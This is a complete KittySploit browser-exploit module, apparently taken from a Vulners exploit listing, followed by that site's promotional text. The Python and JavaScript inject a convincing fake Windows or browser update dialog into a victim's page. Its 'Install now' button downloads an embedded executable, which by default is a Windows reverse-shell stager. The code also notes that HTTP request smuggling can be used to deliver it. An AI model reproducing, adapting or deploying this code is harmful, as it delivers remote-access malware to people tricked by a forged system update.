Fake Update Notification (Payload + HTTP Smuggling)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Fake Update Notification + payload delivery.
Exe is generated from the payload (PE-capable payload, e.g. windows_x64_shell_stage with generate_exe)
or from exe_path if set. Exe is base64-encoded and reconstructed in JS (Blob + download).
No second HTTP request. Can be combined with HTTP request smuggling.
"""
from kittysploit import *
from lib.protocols.http.http_server import Http_server
from core.utils.function import pythonize_path
import json
import base64
import os
import tempfile
import importlib
from pathlib import Path
class Module(BrowserExploit, Http_server):
__info__ = {
"name": "Fake Update Notification (Payload + HTTP Smuggling)",
"description": "Fake 'Update available' modal. Exe generated from payload (PE) or exe_path, rebuilt in JS (base64→Blob→download). Usable via HTTP smuggling.",
"author": "KittySploit Team",
"browser": Browser.ALL,
"platform": Platform.WINDOWS,
"session_type": SessionType.BROWSER,
"references": [
"https://portswigger.net/web-security/request-smuggling",
"https://portswigger.net/web-security/request-smuggling/exploiting",
],
"payload": {
"default": "payloads/singles/cmd/windows/windows_x64_shell_stage",
"arch": Arch.X64,
"platform": Platform.WINDOWS,
"category": PayloadCategory.SINGLE,
},
}
url = OptString("", "URL to inject the fake update (empty = current page)", False)
theme = OptChoice("windows", "Update theme", False, ["windows", "browser"])
exe_path = OptFile("", "Path to .exe to deliver (optional; else PE is generated from payload)", False)
download_name = OptString("update.exe", "Filename for the downloaded exe", False)
def run(self):
use_exe_mode = False
exe_b64 = ""
download_filename = (str(self.download_name).strip() or "update.exe").replace("\\", "").replace("/", "")
# 1) Optional override: user-provided exe file
if getattr(self, "exe_path", None):
path_val = getattr(self.exe_path, "value", None) or getattr(self.exe_path, "_default_display_value", None) or str(self.exe_path)
if path_val and os.path.isfile(path_val):
try:
with open(path_val, "rb") as f:
exe_b64 = base64.b64encode(f.read()).decode("ascii")
use_exe_mode = True
except Exception as e:
print_error(f"Cannot read exe file: {e}")
elif path_val:
print_warning(f"exe_path not a file: {path_val}. Will try to generate PE from payload.")
# 2) Generate PE from payload (payload must support generate_exe, e.g. windows_x64_shell_stage)
if not use_exe_mode:
exe_bytes = self._generate_pe_from_payload()
if exe_bytes:
exe_b64 = base64.b64encode(exe_bytes).decode("ascii")
use_exe_mode = True
if not use_exe_mode:
print_error(
"No exe available. Set exe_path to an existing .exe or use a payload that supports PE generation "
"(e.g. payloads/singles/cmd/windows/windows_x64_shell_stage with generate_exe=True)."
)
return False
theme = str(self.theme).strip().lower() if self.theme else "windows"
if theme == "browser":
title = "Browser Update"
subtitle = "A new version is available"
else:
title = "Windows Update"
subtitle = "Important update available"
msg_text = "Click Install now to download and apply the update."
js_code = self._js_exe_blob(exe_b64, download_filename, title, subtitle, msg_text)
if self.url:
self.send_js(f"window.location.href = '{self.url}';")
import time
time.sleep(1)
result = self.send_js(js_code)
if result:
print_success("Fake Update modal injected.")
print_success(f"Exe will be reconstructed in JS and downloaded as '{download_filename}' (no extra HTTP request).")
print_status("For HTTP smuggling: use auxiliary/scanner/http/http_smuggling to find targets, then inject this response.")
return True
print_error("Failed to inject Fake Update modal.")
return False
def _generate_pe_from_payload(self):
"""Generate a PE from the current payload if it supports generate_exe (e.g. windows_x64_shell_stage). Returns exe bytes or None."""
payload_path_value = self._get_payload_path_without_generate()
if not payload_path_value or not payload_path_value.strip():
return None
try:
payload_path = pythonize_path(payload_path_value)
module_path = ".".join(("modules", payload_path))
payload_module = getattr(importlib.import_module(module_path), "Module")()
if getattr(self, "framework", None):
payload_module.framework = self.framework
if not hasattr(payload_module, "generate_exe") or not hasattr(payload_module, "output_dir"):
return None
# Copy lhost/lport and transform from exploit to payload
for opt in ("lhost", "lport", "transform", "obfuscator"):
if hasattr(self, opt) and hasattr(type(payload_module), opt):
v = getattr(self, opt)
val = getattr(v, "value", v) if v is not None else None
if val is not None:
setattr(payload_module, opt, val)
tmpdir = tempfile.mkdtemp(prefix="ks_pe_")
try:
payload_module.output_dir = tmpdir
payload_module.generate_exe = True
payload_module.generate()
exe_path = Path(tmpdir) / "shell.exe"
if exe_path.is_file():
return exe_path.read_bytes()
return None
finally:
try:
if (Path(tmpdir) / "shell.exe").exists():
(Path(tmpdir) / "shell.exe").unlink()
os.rmdir(tmpdir)
except Exception:
pass
except Exception as e:
print_warning(f"PE generation from payload failed: {e}")
return None
def _get_payload_path_without_generate(self):
"""Get payload module path without triggering OptPayload.__get__ (which calls generate())."""
payload_option = getattr(type(self), "payload", None)
if not payload_option or not hasattr(payload_option, "_instance_values"):
return None
instance_id = id(self)
if instance_id in payload_option._instance_values:
return payload_option._instance_values[instance_id].get("value")
return getattr(payload_option, "_default_value", None)
def _js_exe_blob(self, exe_b64: str, download_name: str, title: str, subtitle: str, msg_text: str) -> str:
# Escape for JS string: base64 can contain +/=. We pass as JS string literal (backslash-escape quotes and backslashes).
safe_b64 = exe_b64.replace("\\", "\\\\").replace("'", "\\'").replace("\n", "\\n").replace("\r", "\\r")
return f"""
(function() {{
function base64ToArrayBuffer(base64) {{
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array(len);
for (var i = 0; i < len; i++) {{
bytes[i] = binary_string.charCodeAt(i);
}}
return bytes.buffer;
}}
var fileB64 = '{safe_b64}';
var downloadName = {json.dumps(download_name)};
function triggerDownload() {{
var blob = new Blob([base64ToArrayBuffer(fileB64)]);
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = downloadName;
a.style.display = 'none';
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(a.href);
}}
function injectModal() {{
if (!document.body) return false;
if (document.getElementById('ksFakeUpdateOverlay')) return true;
var overlay = document.createElement('div');
overlay.id = 'ksFakeUpdateOverlay';
overlay.style.cssText = 'position:fixed;inset:0;z-index:2147483647;background:rgba(0,0,0,0.5);display:flex;align-items:center;justify-content:center;font-family:Segoe UI,sans-serif;';
var card = document.createElement('div');
card.style.cssText = 'background:#fff;border-radius:8px;box-shadow:0 8px 32px rgba(0,0,0,0.2);width:380px;max-width:95vw;overflow:hidden;';
var header = document.createElement('div');
header.style.cssText = 'background:linear-gradient(180deg,#0078d4 0%,#106ebe 100%);color:#fff;padding:20px 24px;font-size:18px;font-weight:600;';
header.textContent = '{title}';
var body = document.createElement('div');
body.style.cssText = 'padding:24px;color:#333;';
var sub = document.createElement('div');
sub.style.cssText = 'font-size:14px;color:#666;margin-bottom:16px;';
sub.textContent = '{subtitle}';
var msg = document.createElement('p');
msg.style.cssText = 'font-size:13px;line-height:1.5;margin-bottom:20px;';
msg.textContent = '{msg_text}';
var btn = document.createElement('button');
btn.textContent = 'Install now';
btn.style.cssText = 'width:100%;padding:12px 20px;background:#0078d4;color:#fff;border:none;border-radius:6px;font-size:14px;font-weight:600;cursor:pointer;';
btn.onmouseover = function() {{ this.style.background = '#106ebe'; }};
btn.onmouseout = function() {{ this.style.background = '#0078d4'; }};
var clicked = false;
btn.addEventListener('click', function(e) {{
e.preventDefault();
if (clicked) return;
clicked = true;
triggerDownload();
btn.textContent = 'Downloading...';
btn.style.background = '#107c10';
setTimeout(function() {{
body.innerHTML = '<div style="text-align:center;padding:20px;color:#107c10;font-weight:600;">Update downloaded. Run the file to install.</div>';
}}, 500);
}});
body.appendChild(sub);
body.appendChild(msg);
body.appendChild(btn);
card.appendChild(header);
card.appendChild(body);
overlay.appendChild(card);
document.body.appendChild(overlay);
return true;
}}
if (!injectModal()) {{
if (document.readyState === 'loading') document.addEventListener('DOMContentLoaded', injectModal);
else window.addEventListener('load', injectModal);
}}
return 'Fake Update (exe blob) injected';
}})();
"""
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
5.8Medium risk
Vulners AI Score5.8